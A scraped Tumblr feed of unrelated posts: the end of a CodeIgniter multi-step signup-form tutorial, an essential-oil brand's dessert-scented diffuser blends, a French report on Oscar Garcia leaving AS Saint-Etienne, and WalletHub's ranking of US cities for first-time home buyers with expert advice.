                    <option value=“female”>Female</option>                                                                        
                </select>
            </div>
        </div>
        <div id=“password-field” style=“display:none;”>
            <label>Enter Password</label><span id=“password-error” class=“signup-error”></span>
            <div><input type=“password” name=“password” id=“user-password” class=“demoInputBox” /></div>
            <label>Re–enter Password</label><span id=“confirm-password-error” class=“signup-error”></span>
            <div><input type=“password” name=“confirm-password” id=“confirm-password” class=“demoInputBox” /></div>
        </div>
        <div id=“contact-field” style=“display:none;”>
            <label>Phone</label><span id=“phone-error” class=“signup-error”></span>
            <div><input type=“text” name=“phone” id=“phone” class=“demoInputBox” /></div>
            <label>Email</label><span id=“email-error” class=“signup-error”></span>
            <div><input type=“text” name=“email” id=“email” class=“demoInputBox” /></div>
            <label>Address</label><span id=“address-error” class=“signup-error”></span>
            <div><textarea name=“address” id=“address” class=“demoInputBox” rows=“5” cols=“50”></textarea></div>
        </div>
        <div>
            <input class=“btnAction” type=“button” name=“back” id=“back” value=“Back” style=“display:none;”>
            <input class=“btnAction” type=“button” name=“next” id=“next” value=“Next” >
            <input class=“btnAction” type=“submit” name=“finish” id=“finish” value=“Finish” style=“display:none;”>
        </div>
        <?php echo form_close(); ?>
    </body>
</html>
Step 8. Open file application/config/routes.php and change the default controller
$route['default_controller'] = 'usercontroller';
Step 9. Now run the application
Tumblr media
If you try to submit the form without filling data then you will see validation errors.
Once you fill the form with all input fields and you will find one row has been inserted into the database table and you will see the below response above the form
User record inserted successfully
Thanks for reading.
0 notes
roxysbeachlife · 7 years ago
Text
Dessert-scented diffuser blends
When your to-do list is a mile long during the holiday season, it can be a struggle to fit in your favorite holiday baking traditions; after all, it’s hard to find the time or the calories to spare. The solution: Trick your senses with perfectly crafted essential oil blends that will immediately make your house smell like you have been baking for hours!
The following blends are based on 10 drops per diffuser, but they should be modified based on your individual diffuser drop suggestions.
Candy Cane
Is there anything more iconic than the smell of candy canes at Christmas time? However, those little sticks of candy don’t necessarily give off a strong fragrance. Not to worry! Simply add these drops to your preferred diffuser and you’ll be enjoying the spicy, sweet scent in no time.
4 drops Stress Away essential oil blend
3 drops Christmas Spirit essential oil
3 drops Peppermint essential oil
Pumpkin Pie
The smell of pie is divine, but it can be a hassle to make. Combine these three essential oils to convince friends and family that you have been slaving over freshly baked pumpkin pie all day.
5 drops Cinnamon Bark essential oil
4 drops Clove essential oil
1 drop Nutmeg essential oil
Apple Pie
Pumpkin pie isn’t always an automatic hit. Maybe apple pie is more your style; that aroma of cinnamon and tart apples can’t be beat. Use these common essential oils to create an atmosphere in your kitchen to remind you of fall evenings all year long.
4 drops Cinnamon Bark essential oil
2 drops Lemongrass essential oil
2 drops Grapefruit essential oil
2 drops Bergamot essential oil
Orange Creamsicle
Tired of the gloomy, overcast days? Wishing for a little bit of wintertime sunshine? Freshen up your home with this light and invigorating diffuser blend. We’re sure that the delicious smell of these oils will make even dreary days seem a little brighter.
5 drops Orange essential oil
5 drops Cedarwood essential oil
Cinnamon Roll
Start your morning off right by flooding your bedroom with the smell of fresh-out-of-the-oven cinnamon rolls. Get the aroma without all the work, baking, and calories! Add together these 10 drops to make waking up the ultimate treat.
5 drops Stress Away essential oil blend
2 drops Citrus Fresh essential oil blend
2 drops Cinnamon Bark essential oil
1 drop Cardamom essential oil
Lemon Bars
This blend really lets Lemon, one of our all-time member favorites, shine. This aroma is sure to make you think of fresh lemons and vanilla. Use this diffuser blend for an invigorating atmosphere when you’re in a food coma after holiday feasting.
4 drops Lemon essential oil
4 drops Stress Away essential oil blend
2 drops Lemongrass essential oil
Chocolate Orange
There’s nothing quite like the iconic combination of chocolate and oranges to make you think of Christmas morning; but why wait until December 25 to get that magical scent and feeling? Add these four different oils together and be transported back to childhood memories.
3 drops Orange essential oil
3 drops Peace & Calming® essential oil blend
3 drops Copaiba essential oil
1 drop Cinnamon Bark essential oil
Snickerdoodle
Sugar and spice and everything nice should be a life motto. Surprise your guests with this sweet-and-spicy essential oil diffuser blend that they’ll be sure is coming from a batch of fresh-baked snickerdoodles.
5 drops Stress Away essential oil blend
3 drops Cinnamon Bark essential oil
2 drops Nutmeg essential oil
Young Living Essential Oils, LC, is the world leader in essential oils, with a strict Seed to Seal® process that produces pure essential oil products for every individual, family, and lifestyle. This process ensures that all products are genuine, free of synthetic chemicals, and pure. This commitment stems from the company’s more than 20 years of stewardship toward the earth and its people.
If you would like to sign up to buy oils at a discount click here  or message me.
Filed under: aromatherapy Tagged: apple, blend, candy, cane, chocolate, Cinnamon, creamsickle, dessert, Diffuser, Healing, Health, Lemon, Orange, pie, pumpkin, Scent, snickerdoodle from WordPress http://ift.tt/2zspcoN via IFTTT
0 notes
tendance-news · 8 years ago
Link
Getty Images
L'ASSE vient de confirmer le départ de son coach Oscar Garcia. Il y a eu une rupture à l'amiable du contrat liant les deux parties.
Oscar Garcia ne sera resté que cinq petits mois à la tête de l'AS Saint-Etienne. Le jeune technicien espagnol a choisi de ne pas aller au bout de son aventure avec l'équipe forézienne. Une décision qui survient dix jours après la lourde défaite concédée lors du derby contre l'OL (0-5) et qui aurait été motivée par sa désapprobation avec le mode de gouvernance au sein du club.
Oscar Garcia jette l'éponge, un duo pour le remplacer
L'information du départ de Garcia a fuité dès mardi, mais ce n'est que mercredi en début de soirée que le club forézien l'a confirmée à travers un communiqué publié sur son site. "Oscar Garcia a exprimé le souhait de quitter l’AS Saint-Etienne. Les deux parties ont trouvé un accord à l’amiable pour cesser leur collaboration. Les discussions se sont déroulées dans un climat serein. L’accord conclu ne comporte aucune indemnité de départ et Oscar Garcia n’a pas voulu être rémunéré au-delà de son dernier jour de travail".
LIÉS
CABELLA A SONGÉ À REVENIR À MONTPELLIER
SAINT-ÉTIENNE - OSCAR GARCIA JETTE L'ÉPONGE, UN DUO POUR LE REMPLACER
SAINT-ETIENNE : OSCAR GARCIA N'EST PAS MENACÉ, SELON ROMEYER
SAINT-ETIENNE ET FEKIR CONVOQUÉS DEVANT LA COMMISSION DE DISCIPLINE
L'article continue ci-dessous
Voir l'image sur Twitter
AS Saint-Etienne
✔@ASSEofficiel
 Communiqué officiel de l'AS Saint-Etienne : départ d'Oscar Garcia  
http://
bit.ly/2zM4vpv
   #ASSE
17:27 - 15 nov. 2017
 121121 réponses
   465
465 Retweets
   362
362 j'aime
Informations sur les Publicités Twitter et confidentialité
Outre Oscar Garcia, les trois adjoints espagnols qui opéraient avec le successeur de Christophe Galtier ont aussi plié bagages. 
La responsabilité de l'équipe première a été confiée à un ancien de la maison, en l'occurrence Julien Sablé. Ce dernier, qui exerçait jusqu'ici comme directeur de centre de formation, n'est pas titulaire du BEPF (diplôme d'entraineur professionnel). Et c'est pourquoi il devrait être épaulé par Alain Ravera. Le duo connaitra son baptême sur le banc dès vendredi face à Lille.
0 notes
cesarhcastrojr · 8 years ago
Link
Posted by: Richie Bernardo
Buying a home for the first time is an exciting and important milestone for many Americans. As such, first-time home buyers must carefully consider a number of factors — what they want and need relative to what they can afford, for instance — before diving to the deep end of real estate.
Often, potential buyers begin searching for their dream homes and drafting their wish lists without a realistic idea of market prices, interest rates or even their eligibility to obtain a mortgage.
To simplify the process, WalletHub’s analysts compared 300 cities of varying sizes across 23 key indicators of market attractiveness, affordability and quality of life. Our data set ranges from cost of living to real-estate taxes to property-crime rate. Read on for our findings, valuable insight from a panel of experts and a full description of our methodology.
Main Findings
Rankings by City Size
Ask the Experts
Methodology
Main Findings
Embed on your website<iframe src="//d2e70e9yced57e.cloudfront.net/wallethub/embed/5564/geochart-homebuyer.html" width="556" height="347" frameBorder="0" scrolling="no"></iframe> <div style="width:556px;font-size:12px;color:#888;">Source: <a href="http://ift.tt/2van3x5;>WalletHub</a></div>  
Best Places for First-Time Home Buyers
  Rankings by City Size
Rank (1= Best)
Large Cities (Score)
Rank (1= Best)
Midsize Cities (Score)
Rank (1= Best)
Small Cities (Score)
1 Raleigh, NC (64.19) 1 McKinney, TX (68.32) 1 Frisco, TX (68.20) 2 Lexington, KY (63.99) 2 Cary, NC (67.98) 2 Allen, TX (68.15) 3 Colorado Springs, CO (63.54) 3 Lincoln, NE (66.61) 3 Norman, OK (67.64) 4 Tampa, FL (63.24) 4 Boise, ID (66.26) 4 Richardson, TX (66.32) 5 Fort Worth, TX (63.15) 5 Gilbert, AZ (65.37) 5 Thornton, CO (66.04) 6 Omaha, NE (62.93) 6 Grand Rapids, MI (65.17) 6 Murfreesboro, TN (65.97) 7 El Paso, TX (62.77) 7 Overland Park, KS (64.80) 7 Denton, TX (65.83) 8 Nashville, TN (62.30) 8 Fort Wayne, IN (64.56) 8 Greeley, CO (65.63) 9 Oklahoma City, OK (61.98) 9 Peoria, AZ (64.47) 9 Charleston, SC (65.33) 10 Denver, CO (61.66) 10 Grand Prairie, TX (64.38) 10 Arvada, CO (64.63) 11 Louisville, KY (61.55) 11 Chandler, AZ (64.24) 11 Carrollton, TX (64.59) 12 Pittsburgh, PA (61.30) 12 Fort Collins, CO (63.96) 12 Spokane Valley, WA (64.01) 13 Minneapolis, MN (60.69) 13 Plano, TX (63.36) 13 Cedar Rapids, IA (63.78) 14 Atlanta, GA (60.64) 14 Henderson, NV (63.19) 14 Green Bay, WI (63.36) 15 Charlotte, NC (60.40) 15 Madison, WI (62.77) 15 Centennial, CO (62.77) 16 Aurora, CO (60.23) 16 Salt Lake City, UT (61.87) 16 Surprise, AZ (62.72) 17 Mesa, AZ (60.08) 17 Garland, TX (61.79) 17 Roanoke, VA (62.32) 18 Columbus, OH (60.03) 18 Amarillo, TX (61.53) 18 Davenport, IA (62.27) 19 Austin, TX (59.50) 19 Richmond, VA (61.41) 19 Yakima, WA (62.04) 20 Phoenix, AZ (59.06) 20 Scottsdale, AZ (61.34) 20 Westminster, CO (61.78) 21 Arlington, TX (59.02) 21 Orlando, FL (60.61) 21 Broken Arrow, OK (61.71) 22 Las Vegas, NV (58.63) 22 Durham, NC (60.59) 22 Kenosha, WI (61.59) 23 Jacksonville, FL (58.11) 23 Port St. Lucie, FL (60.50) 23 Livonia, MI (61.11) 24 Tulsa, OK (58.07) 24 Augusta, GA (60.36) 24 Roseville, CA (61.08) 25 Virginia Beach, VA (58.05) 25 St. Paul, MN (60.19) T-25 Pueblo, CO (61.04) 26 Dallas, TX (57.58) 26 St. Petersburg, FL (60.19) T-25 Sterling Heights, MI (61.04) 27 San Antonio, TX (56.59) 27 Huntsville, AL (59.77) 27 Joliet, IL (60.98) 28 Tucson, AZ (56.43) 28 Columbus, GA (59.69) 28 Longmont, CO (60.78) 29 Sacramento, CA (55.90) 29 Chesapeake, VA (59.58) 29 Roswell, GA (60.70) 30 Bakersfield, CA (55.71) 30 Cape Coral, FL (59.54) 30 Hampton, VA (60.60) 31 Kansas City, MO (55.68) 31 Glendale, AZ (59.32) 31 Wilmington, NC (60.58) 32 Milwaukee, WI (54.95) 32 Tempe, AZ (59.20) 32 Boca Raton, FL (60.50) 33 Corpus Christi, TX (54.58) 33 Winston-Salem, NC (59.19) 33 Mesquite, TX (60.24) 34 Philadelphia, PA (54.35) 34 Des Moines, IA (59.10) 34 Peoria, IL (60.10) 35 St. Louis, MO (54.32) 35 Laredo, TX (59.07) 35 Warren, MI (60.06) 36 Indianapolis, IN (54.25) 36 Irving, TX (58.93) 36 Manchester, NH (59.82) 37 Seattle, WA (53.91) 37 Newport News, VA (58.55) 37 Naperville, IL (59.77) 38 Cleveland, OH (53.63) 38 Vancouver, WA (58.42) 38 Dearborn, MI (59.47) 39 Memphis, TN (53.52) 39 Knoxville, TN (58.28) 39 Palm Bay, FL (59.45) 40 Houston, TX (53.36) 40 Spokane, WA (58.17) 40 Fort Smith, AR (59.21) 41 Wichita, KS (53.03) 41 Akron, OH (58.08) 41 Springfield, IL (58.96) 42 Riverside, CA (52.50) 42 Cincinnati, OH (57.91) 42 Erie, PA (58.95) 43 Portland, OR (52.35) 43 Norfolk, VA (57.73) 43 Portsmouth, VA (58.84) 44 Fresno, CA (52.22) 44 Elk Grove, CA (57.32) 44 Bellevue, WA (58.82) 45 Chicago, IL (51.94) 45 Pembroke Pines, FL (57.27) 45 Lakewood, CO (58.66) 46 San Diego, CA (51.14) 46 North Las Vegas, NV (57.08) 46 Clearwater, FL (58.65) 47 Detroit, MI (50.51) 47 Greensboro, NC (56.44) 47 North Charleston, SC (58.64) 48 Albuquerque, NM (50.42) 48 Reno, NV (56.32) 48 Savannah, GA (58.26) 49 Baltimore, MD (49.98) 49 Buffalo, NY (56.31) 49 Clovis, CA (58.00) 50 New Orleans, LA (47.71) 50 Aurora, IL (56.12) 50 Vacaville, CA (57.93) 51 Anaheim, CA (47.16) 51 Little Rock, AR (55.09) 51 Renton, WA (57.76) 52 San Jose, CA (46.87) 52 Springfield, MA (54.95) 52 Elgin, IL (57.53) 53 Honolulu, HI (46.34) 53 Tacoma, WA (54.90) 53 Sunrise, FL (57.48) 54 Santa Ana, CA (45.57) 54 Rancho Cucamonga, CA (54.51) 54 Visalia, CA (57.35) 55 Boston, MA (44.81) 55 Toledo, OH (54.38) 55 Tuscaloosa, AL (57.29) 56 Washington, DC (43.55) 56 Montgomery, AL (54.10) 56 High Point, NC (57.25) 57 Long Beach, CA (43.05) 57 Lancaster, CA (53.97) 57 Yuma, AZ (57.03) 58 Miami, FL (42.47) 58 Salem, OR (53.77) 58 Alexandria, VA (57.00) 59 Los Angeles, CA (42.15) 59 Mobile, AL (53.61) 59 Hillsboro, OR (56.77) 60 New York, NY (40.27) 60 Moreno Valley, CA (53.37) 60 Victorville, CA (56.73) 61 San Francisco, CA (39.01) 61 Fayetteville, NC (53.37) 61 Sandy Springs, GA (56.72) 62 Oakland, CA (37.48) 62 Fontana, CA (53.05) 62 Lakeland, FL (56.70) 63 Jersey City, NJ (52.97) 63 Athens-Clarke, GA (56.62) 64 Irvine, CA (52.89) 64 Murrieta, CA (56.52) 65 Worcester, MA (52.34) 65 Dayton, OH (56.42) 66 Ontario, CA (52.22) 66 Allentown, PA (56.22) 67 Jackson, MS (52.15) 67 Davie, FL (55.79) 68 Eugene, OR (52.00) 68 Waukegan, IL (55.61) 69 Rockford, IL (51.80) 69 Fairfield, CA (55.47) 70 Springfield, MO (51.78) 70 Temecula, CA (55.44) 71 Birmingham, AL (51.48) 71 Plantation, FL (55.31) 72 Palmdale, CA (51.46) 72 Kent, WA (55.28) 73 Stockton, CA (51.43) 73 Everett, WA (54.89) 74 Modesto, CA (51.25) 74 Miramar, FL (54.61) 75 Providence, RI (50.94) 75 Ann Arbor, MI (54.60) 76 Corona, CA (50.92) 76 Chico, CA (54.41) 77 Rochester, NY (50.32) 77 Gainesville, FL (54.32) 78 Santa Rosa, CA (49.49) 78 Rialto, CA (54.05) 79 Baton Rouge, LA (49.44) 79 Lowell, MA (53.91) 80 Tallahassee, FL (49.43) 80 Waterbury, CT (53.84) 81 Fort Lauderdale, FL (49.24) 81 Stamford, CT (53.69) 82 Santa Clarita, CA (49.04) 82 Lansing, MI (53.65) 83 Shreveport, LA (48.97) 83 West Palm Beach, FL (53.57) 84 San Bernardino, CA (48.91) 84 New Haven, CT (53.55) 85 Hayward, CA (48.82) 85 Hollywood, FL (53.47) 86 Hialeah, FL (48.75) 86 Federal Way, WA (53.10) 87 Oxnard, CA (48.56) 87 Coral Springs, FL (53.10) 88 Chula Vista, CA (48.53) 88 New Bedford, MA (52.87) 89 Oceanside, CA (47.45) 89 Pompano Beach, FL (52.65) 90 Pomona, CA (46.92) 90 Hartford, CT (52.42) 91 Garden Grove, CA (46.59) 91 Santa Maria, CA (51.95) 92 Salinas, CA (46.46) 92 Albany, NY (51.49) 93 Huntington Beach, CA (46.33) 93 Flint, MI (51.43) 94 Fremont, CA (46.13) 94 Bridgeport, CT (51.29) 95 Yonkers, NY (45.43) 95 Miami Gardens, FL (51.18) 96 Anchorage, AK (45.11) 96 Beaverton, OR (51.14) 97 Glendale, CA (41.21) 97 Antioch, CA (50.95) 98 Newark, NJ (39.30) 98 Vallejo, CA (50.93) 99 Fall River, MA (50.66) 100 Thousand Oaks, CA (50.64) 101 Mission Viejo, CA (50.56) 102 Simi Valley, CA (50.53) 103 Quincy, MA (50.37) 104 Gresham, OR (49.57) 105 Boulder, CO (49.45) 106 Carlsbad, CA (49.39) 107 Escondido, CA (48.88) 108 Concord, CA (48.60) 109 Lynn, MA (48.38) 110 Richmond, CA (47.96) 111 Orange, CA (47.95) 112 Norwalk, CA (47.71) 113 Ventura, CA (47.56) 114 Vista, CA (47.39) 115 Carson, CA (47.09) 116 West Covina, CA (47.01) 117 Fullerton, CA (47.00) 118 Cambridge, MA (46.94) 119 El Cajon, CA (46.82) 120 Elizabeth, NJ (46.71) 121 Compton, CA (46.54) 122 Burbank, CA (46.39) 123 Santa Clara, CA (46.37) 124 Downey, CA (46.20) 125 Brockton, MA (45.42) 126 Pasadena, CA (45.41) 127 Paterson, NJ (45.12) 128 Costa Mesa, CA (45.06) 129 South Gate, CA (44.97) 130 Sunnyvale, CA (44.73) 131 Torrance, CA (43.73) 132 Inglewood, CA (42.61) 133 Westminster, CA (41.47) 134 Daly City, CA (41.29) 135 El Monte, CA (41.06) 136 San Mateo, CA (39.91) 137 Miami Beach, FL (37.95) 138 Santa Monica, CA (37.52) 139 Berkeley, CA (36.29) 140 Santa Barbara, CA (36.22)
  Ask the Experts
Purchasing real estate for the first time can be a daunting experience for many consumers. But it doesn’t have to be. For advice and insight, we asked a panel of experts to share their thoughts on the following key questions:
What should first-time home buyers consider when choosing a neighborhood
How do you know that you are financially ready to buy your first home?
What do you recommend as the minimum down payment for a first-time home buyer?
What effect did Trump’s Executive Order increasing the cost of FHA-backed loans have on first-time home buyers?
How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first-time home buyers?
< >
Lou Tisler Director of the Housing Counseling Network at The National Community Reinvestment Coalition
Katrin B. Anacker Associate Professor in the Schar School of Policy and Government at George Mason University
Michelle M. Thompson Associate Professor in the Department of Planning & Urban Studies, Louisiana Manufactured Housing Association Professor in CUPA, and Faculty Advisor for Bachelor of Science in Urban Studies and Planning Internships & Honors Program at the University of New Orleans
W. Dennis Keating Professor Emeritus of Urban Studies and Law at Cleveland State University
Deden Rukmana Associate Professor and Coordinator of the Urban Studies and Planning Program & Co-Chair of the Global Planning Educators Interest Group at Savannah State University
Christopher B. Leinberger Charles Bendit Distinguished Scholar and Research Professor & Chair of the Center for Real Estate and Urban Analysis at the George Washington University School of Business
Alessandro Rebucci Assistant Professor of Economics, Finance and Real Estate at Johns Hopkins Carey Business School
Lou Tisler Director of the Housing Counseling Network at The National Community Reinvestment Coalition What should first-time home buyers consider when choosing a neighborhood? Transportation costs -- many first-time homebuyers are looking at utility costs, taxes, insurance, but few take into account transportation costs, either to and from work, or within the neighborhood. Though gas prices are low, these still add up on a weekly, monthly, yearly basis. How do you know that you are financially ready to buy your first home? The best way to avoid the pitfalls of homeownership is to be an educated buyer. Free or low costs, home buyer education is available throughout the United States. Reading a website is a good start, but fully immersing yourself in what it means to be a homeowner, what is negotiable on the mortgage statement, what will break down first and how much will it cost, what to do if you fall behind, all these are answered through housing counseling. You can find an agency near you here. What do you recommend as the minimum down payment for a first-time home buyer? 3.5% down when closing the loan; 3.5% in the bank for emergency purposes. What effect did Trump’s Executive Order increasing the cost of FHA-backed loans have on first-time homebuyers? Since more low to moderate income homeowners are purchasing using FHA, an increase of $250 per $100,000 home purchased is passed onto low to moderate income homebuyers. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers? Many local governments and schools are funded on property taxes; if the federal and state governments continue to trim their budgets on the backs of local municipalities’ budgets, property taxes will continue to be on the ballot, and will continue to increase. The most cost-effective way to make homeownership affordable is to make property taxes affordable; whether for a first-time home buying millennial or a soon to be, fixed income retiree. Katrin B. Anacker Associate Professor in the Schar School of Policy and Government at George Mason University What should first-time home buyers consider when choosing a neighborhood? There are differences among first-time home buyers. A household with two earners and at least one school-aged child will have different preferences, compared to a household with one earner, without any children. How do you know that you are financially ready to buy your first home? A potential borrower may want to consult a HUD-approved housing counselor or a lender, to discuss whether he/she is financially read to buy his/her first home. What do you recommend as the minimum down payment for a first-time home buyer? The threshold for a conventional mortgage is 20 percent, and for a mortgage insured by the FHA is 3.5 percent. Michelle M. Thompson Associate Professor in the Department of Planning & Urban Studies, Louisiana Manufactured Housing Association Professor in CUPA, and Faculty Advisor for Bachelor of Science in Urban Studies and Planning Internships & Honors Program at the University of New Orleans What should first-time home buyers consider when choosing a neighborhood? First-time homebuyers face many challenges when selecting a home which may, or may not be, in their neighborhood of choice. For example, if a first-time homebuyer wants to have a neighborhood that is "family friendly" (with parks, shopping and schools within a reasonable distance), there may be a higher "cost-for-convenience" reflected in the housing prices. For first-time homebuyers seeking affordable housing, or with limited funds for down-payment in a higher end market, housing choices may be limited, thus indirectly pre-selecting neighborhoods to consider. In any scenario, first-time homebuyers should use all publicly-available information to establish a neighborhood profile, and not just rely on secondary listing or promotional advertisements. It is imperative that the first-time homebuyers gather information beyond the immediate block, including information on the sales prices of similar houses, demographics, community assets (e.g., shopping, health centers, parks/playgrounds), crime, public safety response times and flood zone (which affects the cost of flood insurance). This data can be obtained through municipal websites or they could request this "free" information from the appropriate government office in person, via phone or email. Beyond statistics, visiting the community at different times of the day will give a more well-rounded perspective along with the neighborhood profile. Overall, going with your “gut” may not be the best way to select a house or neighborhood, when making one of the most important and expensive investment decisions the first time around. How do you know that you are financially ready to buy your first home? In most cases the level of “financial fitness” of a first-time homebuyer is pre-determined by the lender. There are a number of factors that affect the ability to obtain a first mortgage, such as minimum down payment, tri-merge credit score, work history, salary and debt service. There are many free, low-cost in-person or online courses that anyone can participate in, to learn more about the home-buying process and related financial education. Through these courses a first-time homebuyer will have a better idea of what may need to be improved to become mortgage eligible. Since the criteria for “readiness” varies, a first-time homebuyer may want to interview a number of mortgage lenders and have their financial profile reviewed. Information on what might be considered “an issue” during the lending review process could be raised during these conversations. Alternatively, a lender pre-qualification letter may evaluate readiness by conducting a pre-mortgage screening. Most of these evaluations will require an application fee and may only be viable for a limited period of time. Even if the outcome of the financial evaluation in a fitness class or pre-qualification isn't positive, you now have the information needed to improve your ability to buy a house at a later time. What do you recommend as the minimum down payment for a first-time home buyer? There is an industry standard of providing at least 20% as a down payment for a mortgage. However, the down payment amount, rate of interest and mortgage terms vary by institution. The first-time homebuyer may want to evaluate the impact that a lower (5-10%) up-front investment may have on the interest rate, the closing costs and debt service over time. In order to have flexibility in choosing, more favorable lending terms may improve with the minimum "standard" down payment. Beyond the down payment, first-time homebuyers may want to save at least 3 months of the mortgage, closing costs plus the first year of taxes. It is imperative for first-time homebuyers to not expend all available funds at the start of a home purchase, in case there are interruptions (job change, tax increase, home repairs) that were not anticipated at the time of purchase. What effect did Trump’s Executive Order increasing the cost of FHA-backed loans have on first-time homebuyers? Aaron Crowe from Mortgageloan.com stated that the "Obama administration announced on Jan. 9 a reduction in annual premiums for mortgage insurance for FHA loans from 0.85 percent to 0.60 percent of the loan balance, effective Jan. 27." Essentially, this change would have decreased the monthly debt service for each mortgage loan. For example, industry experts have suggested savings of up to $500 a year on a $200,000 mortgage. However, "less than an hour after being sworn in as president, Donald Trump signed his first executive order, eliminating a drop in FHA mortgage insurance premiums that was to take effect a week later." First-time homebuyers would be most affected due to the debt service ceiling requirements. This change has a potentially adverse impact on lower-income borrowers who want to obtain a higher priced home using FDIC-backed mortgages. For first-time homebuyers ready to purchase a home, Trump's Executive Order may limit options to find lower priced homes to meet desired affordability. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers? No matter what level of government, policymakers should take less time “studying” a known problem -- housing affordability --, and turn this need into a national housing action plan. If the first executive order from the current administration is any indication of the direction the U.S. Housing & Urban Development Department may be heading in, then issues of “responsible,” “fair” and “effective” housing policy may be difficult to implement at the state and local levels. Similar to the Affordable Care Act ("Obama-care"), one size does not fit all, since the housing styles, sizes, construction type, access and distance to community resources vary significantly. In a utopian world, homelessness would not be a problem if vacant, abandoned, yet functional buildings were turned into affordable housing. The city of New Orleans, Louisiana administration (NOLA), post Hurricane Katrina, has moved from recovery to renewal by developing and implementing place-based community plans to expand housing options. Mayor Landrieu's Office of Performance and Accountability’s “BlightSTAT" open government forum monitors an integrated project that turned approximately 70 formerly historic houses, from the Veteran's Affairs/Louisiana State University (VA/LSU) hospital campus, to affordable housing. The adaptive reuse of the historic houses on formerly vacant, blighted or abandoned lots is not a new idea. However, NOLA was able to combine U.S. Housing & Urban Development soft-second mortgages, Louisiana Land Trust option 2/3 vacant lots, eminent domain to claim/move/rehab historic houses that will have a significant financial impact beyond the price of a first-time homebuyer loan. For federal, state and local policies &funded plans to be successful, there must be an honest effort to improve citizen participation. The VA/LSU Historic Affordable Housing project is still in process, but it will soon prove to be not only responsible and effective, but also affordable. W. Dennis Keating Professor Emeritus of Urban Studies and Law at Cleveland State University What should first-time home buyers consider when choosing a neighborhood? When choosing a neighborhood, key factors are:
Location related to work, transportation, shopping, amenities (e.g., parks);
Housing values and conditions (including possible data through sources like Trulia and Zillow);
Nearby schools (if children and future children are a relevant consideration);
Reputation of the neighborhood (if known, including through a neighborhood-based organization, homeowners association, social network);
Safety (if crime data is available);
Property taxes and any other state, regional and local fees affecting homeowners in the jurisdiction.
How do you know that you are financially ready to buy your first home? You are financially ready when you have enough of your own savings for the mortgage down payment, and you have enough regular income for projected monthly housing expenses (mortgage, utilities, and maintenance/repairs), within 30-40% of your net income. What do you recommend as the minimum down payment for a first-time home buyer? The minimum down payment I would recommend is 10-15%. What effect did Trump’s Executive Order increasing the cost of FHA-backed loans have on first-time homebuyers? The Trump FHA Order made affordability more difficult for some users of the FHA program. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers? Some of the policies that state and local governments can implement to increase affordability include:
Housing trust funds (that subsidize low- and moderate-income housing);
Inclusionary housing/zoning (to increase the supply of affordable units);
Property tax abatements: subsidized loans (e.g., the first time low-and moderate-income homebuyer program of the Ohio Housing Finance Agency);
Self-help: support of low-income programs, like that of Habitat for Humanity;
Lease/purchase (e.g., the program of the Cleveland Housing Network for low-income tenants);
Housing savings accounts: promoting these with lenders;
Housing counseling: support for agencies that offer homebuyer educational courses (working with lenders);
Support for co-housing programs;
Support for community land trusts.
Deden Rukmana Associate Professor and Coordinator of the Urban Studies and Planning Program & Co-Chair of the Global Planning Educators Interest Group at Savannah State University What should first-time homebuyers consider when choosing a neighborhood? From a perspective of an urban planner, first-time homebuyers should choose a neighborhood with good access to public transportation, amenities and facilities for family members, particularly young children. Neighborhoods in suburban areas are now less attractive due to the increasing commute time. The 2010 Census Data indicate that more people moved to the inner city from the suburban areas, particularly young couples. Such a trend will continue in the next few decades. How do you know that you are financially ready to buy your first home? You are ready to buy your first home when you're secured with your employment for the next five years, and spend less than 40% of your income to housing expenses. What do you recommend as the minimum down payment for a first-time home buyer? I would recommend 5-8% of the price of the house as the down payment. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers? The government needs to expand the Low-Income Housing Tax Credit (LIHTC) program. The supply of affordable housing needs to be expanded in all parts of the urban areas. The government should discourage the phenomenon of NIMBY (Not In My Backyard) when it comes to the development of affordable housing. Christopher B. Leinberger Charles Bendit Distinguished Scholar and Research Professor & Chair of the Center for Real Estate and Urban Analysis at the George Washington University School of Business What should first-time home buyers consider when choosing a neighborhood? The most important thing is whether the neighborhood is “walkable urban” or “drivable sub-urban.” A walkable urban place means there are many transportation options (bus, rail, biking, auto, etc.), but most everyday things are accessible by walking (about 1500 to 3000 feet is considered walking distance). Drivable sub-urban locations mean you have to drive for almost everything outside the home. The best way to determine if the house is walkable urban is Walk Score, which has a 0-100 ranking system of all houses and most communities in the country. A Walk Score above 60 is considered walkable urban. Walkable urban neighborhoods are generally the most expensive on a price per square foot basis, sometimes two-times, and even three-times more expensive than drivable sub-urban, and will probably see the most price appreciation over the next decade or more. Drivable sub-urban houses tend to be over-built, resulting in lower prices per square foot than walkable urban houses due to excess supply, though that means you can get substantial bargains. You will have to factor in owning more cars into your household budget though, and the increased driving for commutes and other household errands. How do you know that you are financially ready to buy your first home? The obvious financial considerations are having the required down payment and the monthly all-in mortgage and insurance costs. One consideration few households make is the cost of transportation, the second household budget category, which is a direct result of where the house is located. Generally speaking, a walkable urban home will require fewer cars in the household. In general, drivable sub-urban households spend 25% of the income on transportation, almost all of that amount for car loan repayment, insurance, gas, maintenance and parking. By dropping one car out of the typical household saves, according to the AAA, $9,400 per year. This translates into increased mortgage capacity of $150,000. Cars always depreciate, while houses tend to appreciate. Having more, and generally cheaper transportation options (walking just involves a good pair of shoes), walkable urban households on average spend 9% of their household budget on transportation, a substantial savings that could be applied to the increased housing costs for walkable urban communities. What do you recommend as the minimum down payment for a first-time home buyer? The lowest possible, but if you have more, invest whatever you can, without draining your “rainy day” fund. The lowest you need to get into the house, since getting on the ownership ladder is the first step in building household net worth and having the security and pleasure of homeownership. The maximum you can will get you on the way to paying off your mortgage someday. This is counter to conventional wisdom, and exceedingly old-fashioned. However, my household investment strategy is to get out of all personal debt (student, mortgage, car, credit card -- which is the stupidest debt, etc.) as soon as possible. This will give you the most valuable asset -- peace of mind. Plus, it means you only have to earn enough for variable cost household items (food, insurance, transportation, vacation, savings, etc.). Not having any debt means you can say “no” to being a wage slave at some point, allowing you to only take employment you want to take. How can federal, state and local policymakers responsibly and effectively increase home affordability, particularly for first time homebuyers?
Adjust the mortgage tax deduction (MTD) to only under $500,000 mortgages (may be higher for higher cost metro areas), aiming at supporting the first time mortgage market, rather than well-to-do households who get the vast majority of the mortgage tax deduction. The MTD costs the federal government $100 billion per year in lost taxes, mainly to subsidize the upper-middle and upper income households, who do not need it.
